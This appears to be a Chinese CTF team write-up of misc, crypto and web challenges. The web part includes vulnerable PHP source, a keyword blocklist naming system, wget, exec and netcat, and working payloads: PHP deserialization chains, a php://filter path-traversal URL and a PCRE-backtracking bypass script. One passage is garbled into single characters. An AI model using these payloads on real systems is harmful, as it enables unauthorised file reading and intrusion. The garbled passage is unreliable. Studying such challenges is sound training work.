MISC(MISC和Crypto队友做的)
签到题
base64,找个网站解密一下就出来了
Huahua
解压后得到png图片,打不开,用winhex打开,发现文件头缺少了,添加png文件头,调整图片高度得到flag
Noise
解压后得到三个文件,发现
这个文件有点可疑,联想noise改后缀为.wav,用Audacity打开此文件,
cypto
签到2
根据古罗马提示得知是:凯撒密码其中为位移3
Easy-rsa
得知e,n,dp,c,求m
跑出来结果为:
WEB
flag在哪里
<?php
error_reporting(0);
class begin{
public $file;
public $mode;
public $content;
public $choice;
public function __construct()
{
$this->file = "file";
$this->content = "content";
}
function __wakeup()
{
if($this->mode=="write"){
$this->choice= new write();
}
if($this->mode=="read"){
$this->choice= new read();
}
}
// __call(),在对象中调用一个不可访问方法时调用
function __call($file,$content) {
// 利用点
highlight_file($this->file);
}
function __destruct(){
if($this->mode=="write"){
// 触发 __call
$this->choice->writewritetxt($this->file,$this->content);
}
else{
$this->choice->open($this->file);
}
}
}
class write{
public function writewritetxt($file,$content)
{
$filename=$file.".txt"; // 拼接了后缀
if(is_file($filename)){
unlink($filename);
}
// 利用点:不可利用
file_put_contents($filename, $content);
echo "成功写入";
}
}
class read{
public $file;
public function __construct(){
$this->file="test.txt";
echo "欢迎查看 ".$this->file."<br/>";
}
function open($filename){
$file=$this->file;
if(is_file($file)){
if($file=="getflag.php"){
die("getflag.php没东西");
}
else{
// 利用点:不可利用
// 伪协议读取:但是 if_file不通过就执行不了
//
highlight_file($file);
}
}else{
echo "文件不存在";
}
}
}
function check($dis_content){
if(preg_match('/system|eval|wget|exec|zip|passthru|netcat|phpinfo|`|shell|\(|\)/i', $dis_content)){
die("hack !!!");
}
}
$pop=$_GET['pop'];
if (isset($pop)) {
check($pop);
unserialize($pop);
} else {
highlight_file("index.php");
}
?>
payload
?pop=O:5:"begin":5:{s:4:"file";s:11:"getflag.php";s:4:"mode";s:5:"write";s:7:"content";s:0:"";s:6:"choice";O:5:"begin":4:{s:4:"file";s:11:"getflag.php";s:4:"mode";s:5:"write";s:7:"content";s:0:"";s:6:"choice";N;}}
mid
文件包含,使用php://filter在根目录包含出flag即可
http://119.61.19.212:57303/index.php?1=php://filter/read=convert.base64-encode/resource=../../../flag
寻宝奇兵
第一关:$hash可控 $users可控 $SECRET也知道
u
s
e
r
s
随
便
传
,
只
要
不
是
e
x
p
l
o
r
e
r
,
再
让
users 随便传,只要不是explorer,再让
users随便传,只要不是explorer,再让SECRET跟
u
s
e
r
s
拼
接
,
然
后
m
d
5
加
密
将
得
到
的
结
果
通
过
users拼接,然后md5加密 将得到的结果通过
users拼接,然后md5加密将得到的结果通过_COOKIE[“hash”]传入,将构造的$users传入,即可进入第二关。
第二关:参照 http://www.oriole.fun/index.php/archives/31/ 进入第三关
第三关:PCRE回溯次数绕过
import requests
from io import BytesIO
data = {
'treasure': BytesIO(b'flag.php' + b' a' * 1000000)
}
res = requests.post('http://119.61.19.217:57305/treasure.php', data=data)
print(res.text)
Serialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class Demo{
public $class;
public $user;
public function __construct()
{
$this->class = "safe";
$this->user = "ctfer";
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}
public function __wakeup()
{
$context = new $this->class ($this->user);
foreach($context as $f){
echo $f;
}
}
}
class safe{
var $user;
public function __construct($user)
{
$this->user = $user;
echo ("hello ".$this->user);
}
}
if(isset($_GET['data'])){
unserialize($_GET['data']);
}
else{
$demo=new Demo;
}
payload
data=O:4:"Demo":2:{s:5:"class";s:13:"SplFileObject";s:4:"user";s:8:"flag.php";}
原生类利用
http://www.wangqingzheng.com/anquanke/82/238482.html